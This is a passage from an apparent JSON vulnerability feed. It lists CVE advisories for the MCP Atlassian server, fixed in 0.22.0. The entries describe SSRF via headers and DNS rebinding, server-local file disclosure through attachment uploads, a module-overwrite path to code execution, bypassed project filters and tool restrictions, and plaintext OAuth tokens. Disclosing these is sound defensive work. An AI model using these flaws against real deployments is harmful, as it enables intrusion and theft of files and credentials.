      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77246</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, an HTTP transport deployment with READ_ONLY_MODE=false accepts a request without an Authorization identity and permits attacker-controlled Atlassian service headers, including X-Atlassian-Confluence-Url, to select a public attacker hostname or one allowed by MCP_ALLOWED_URL_DOMAINS. A caller can then invoke confluence_upload_attachment or the Jira attachment variant in src/mcp_atlassian/jira/attachments.py with a server-local file_path and cause the MCP process to send the file to the selected attachment endpoint. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wv8v-v4c5-v75j</a></li>\n</ul></p>",
      "date_published": "2026-09-22T19:16:48.730Z",
      "date_modified": "2026-09-28T14:31:10.220Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77274",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77274: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77274</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-hgcf-4mq8-5266</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:19.253Z",
      "date_modified": "2026-09-28T13:41:36.657Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77271",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77271: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77271</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:19.107Z",
      "date_modified": "2026-09-28T13:45:34.133Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77270",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77270: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77270</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira and Confluence attachment upload tools treat caller-controlled file_path values as trusted server-local paths. The server opens the selected file and uploads it to an Atlassian issue or page, allowing an MCP caller with upload access to disclose any file readable by the server process. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, jira_upload_attachment, file_path, and open(file_path, \"rb\"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f26r-j276-ggg4\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f26r-j276-ggg4</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.947Z",
      "date_modified": "2026-09-28T13:35:22.193Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77267",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77267: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77267</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers are processed by _process_authentication_headers and used to construct Atlassian fetchers without calling validate_url_for_ssrf. A caller who can set these headers can supply an internal or metadata-service URL and cause the server to send requests to that destination, bypassing the incomplete CVE-2026-27826 remediation. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-5wf4-jqxh-8gm3\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-5wf4-jqxh-8gm3</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.803Z",
      "date_modified": "2026-09-29T18:59:56.113Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77265",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77265: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, he",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, he",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77265</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, header-supplied Jira or Confluence URLs are resolved and validated before the HTTP client resolves the hostname again for the connection. An unauthenticated caller can use a DNS-rebinding hostname that returns a public address during validation and an internal address during connection, causing requests to internal or metadata services. The advisory traces the vulnerable input and processing flow through X-Atlassian-Jira-Url, X-Atlassian-Confluence-Url, validate_url_for_ssrf, and DNS rebinding, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-49xv-9743-pw8w\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-49xv-9743-pw8w</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.647Z",
      "date_modified": "2026-09-29T19:00:07.850Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77261",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77261: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _m",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _m",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77261</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, _make_ssrf_safe_hook is omitted from JiraFetcher and ConfluenceFetcher sessions created through the basic-auth and oauth_pat branches. If an attacker-controlled or compromised configured Atlassian instance returns a redirect to an internal address, those sessions can follow the redirect without revalidating its destination. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6529-c226-h328\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6529-c226-h328</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.497Z",
      "date_modified": "2026-09-25T17:36:32.787Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77260",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77260: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77260</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Confluence and Jira upload_attachment implementations accept an unconstrained file_path and open the referenced server-local file. A permitted MCP caller can upload sensitive host files to an Atlassian destination and then retrieve their contents. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f4p7-qx46-wc5j\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-f4p7-qx46-wc5j</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.347Z",
      "date_modified": "2026-09-29T13:56:16.277Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77258",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77258: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, up",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, up",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77258</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment in src/mcp_atlassian/confluence/attachments.py accepts a caller-controlled file_path and opens the selected server-local file without restricting it to the workspace. A permitted Confluence MCP caller can upload the file as an attachment and disclose data readable by the server process. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-93xw-j965-9mx3\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-93xw-j965-9mx3</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.193Z",
      "date_modified": "2026-09-29T14:01:18.607Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77252",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77252: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ca",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ca",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77252</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, caller-supplied projects_filter and spaces_filter arguments can replace administrator-configured allowlists, and caller-provided project or space clauses can suppress the configured restriction. A caller can search projects or spaces outside the intended boundary when the configured Atlassian credentials can access them. The advisory traces the vulnerable input and processing flow through JIRA_PROJECTS_FILTER, CONFLUENCE_SPACES_FILTER, projects_filter, spaces_filter, SearchMixin.search_issues, and SearchMixin.search, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-rqwg-9346-fjjv\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-rqwg-9346-fjjv</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:18.047Z",
      "date_modified": "2026-09-25T17:39:10.690Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77251",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77251: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Ji",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77251</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira search accepts a forbidden project clause because it checks only for the presence of project syntax, Confluence search uses an incomplete case-sensitive space check, and Jira board APIs omit project-filter enforcement. These paths expose issues, boards, or pages outside JIRA_PROJECTS_FILTER or CONFLUENCE_SPACES_FILTER when the operator credentials have broader access. The advisory traces the vulnerable input and processing flow through jira_search, confluence_search, get_board_issues, get_agile_boards, JIRA_PROJECTS_FILTER, and CONFLUENCE_SPACES_FILTER, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-w66g-j6c4-hcfc\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-w66g-j6c4-hcfc</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:17.883Z",
      "date_modified": "2026-09-29T14:21:29.180Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77250",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77250: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OA",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OA",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77250</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, OAuthConfig writes a plaintext fallback file containing access and refresh tokens under the user's .mcp-atlassian directory using process-default permissions. On systems with a permissive umask, same-group or other local users and processes can read the persisted tokens and reuse the associated Atlassian access. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens, ~/.mcp-atlassian/oauth-<client_id>.json, access_token, and refresh_token, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g5xv-mhgm-v5f6\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g5xv-mhgm-v5f6</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:17.720Z",
      "date_modified": "2026-09-29T14:22:55.913Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77244",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77244: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77244</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the HTTP transport accepts requests without a verified user identity and downstream fetcher construction falls back to the operator's globally configured Jira or Confluence credentials. A network client that can reach the MCP endpoint can invoke Atlassian tools as the operator, including read and write operations available to that account. The advisory traces the vulnerable input and processing flow through UserTokenMiddleware, AtlassianOpaqueTokenVerifier, _get_fetcher, and streamable-http, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wrhw-j3f9-8vc6\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wrhw-j3f9-8vc6</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:17.560Z",
      "date_modified": "2026-09-29T15:17:49.490Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77243",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77243: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, EN",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, EN",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77243</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, ENABLED_TOOLS and TOOLSETS are applied when tools are listed but are not rechecked when a tools/call request is dispatched. A client that knows a hidden tool name can directly invoke excluded read, write, or delete tools despite the operator's configured least-privilege restrictions. The advisory traces the vulnerable input and processing flow through ENABLED_TOOLS, TOOLSETS, tools/list, tools/call, and _call_tool_mcp, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-3r68-hf9h-887v\">https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-3r68-hf9h-887v</a></li>\n</ul></p>",
      "date_published": "2026-09-22T18:17:17.410Z",
      "date_modified": "2026-09-29T15:32:58.357Z",
      "tags": [
        "UNKNOWN",
        "unknown"
      ]
    },
    {
      "id": "urn:mcp:vulnerability:CVE-2026-77242",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460",
      "title": "[UNKNOWN] CVE-2026-77242: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, va",
      "content_html": "<p><strong>Vulnerability ID:</strong> CVE-2026-77242</p>\n<p><strong>Severity:</strong> UNKNOWN</p>\n<p><strong>Affected Package(s):</strong> unknown</p>\n<p><strong>Details:</strong><br>MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf checks a hostname's resolved addresses, but Requests and urllib3 resolve the hostname again when connecting. A caller can use a short-lived DNS answer that is public during validation and private during connection, preserving unauthenticated access to internal or metadata endpoints despite the earlier CVE-2026-27826 remediation. The advisory traces the vulnerable input and processing flow through validate_url_for_ssrf, _check_dns_resolution, socket.getaddrinfo, and _make_ssrf_safe_hook, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.</p>\n<p><strong>References:</strong><ul>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460\">https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/pull/1448\">https://github.com/sooperset/mcp-atlassian/pull/1448</a></li>\n<li><a href=\"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0\">https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0</a></li>\n<li><a 